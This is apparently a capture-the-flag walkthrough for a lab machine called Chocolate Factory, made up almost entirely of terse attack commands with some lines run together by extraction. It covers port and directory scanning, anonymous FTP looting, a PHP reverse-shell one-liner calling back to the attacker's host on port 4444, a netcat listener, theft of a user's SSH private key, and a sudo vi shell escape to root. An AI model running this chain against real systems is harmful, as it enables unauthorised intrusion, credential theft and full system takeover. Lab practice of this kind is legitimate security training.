Chocolate Factory
Initial Scan
nmap -A $VICTIM




Scan all ports

TCP/21 - FTP

TCP/80 - HTTP





Web Shell



Shell

Privilege Escalation


Last updated
nmap -A $VICTIM

















Last updated
nmap -sV -sT -O -p 1-65535 $VICTIMftp $VICTIM
Username: anonymous
>binary
>passive
>mget *gobuster dir -u http://$VICTIM -w /usr/share/wordlists/SecLists/Discovery/Web-Content/directory-list-2.3-medium.txt -x php,html,txtstrings key_rev_keyphp -r '$sock=fsockopen("$KALI",4444);exec("/bin/sh -i <&3 >&3 2>&3");'nc -lvp 4444python -c 'import pty; pty.spawn("/bin/bash")'
ctrl + Z
stty raw -echo;fgcd /var/www/html/
grep password *cd /home/charlie/
cat teleportsubl teleport
chmod 700 teleport
ssh -i teleport charlie@$VICTIM sudo -l
sudo vi -c ':!/bin/sh' /dev/null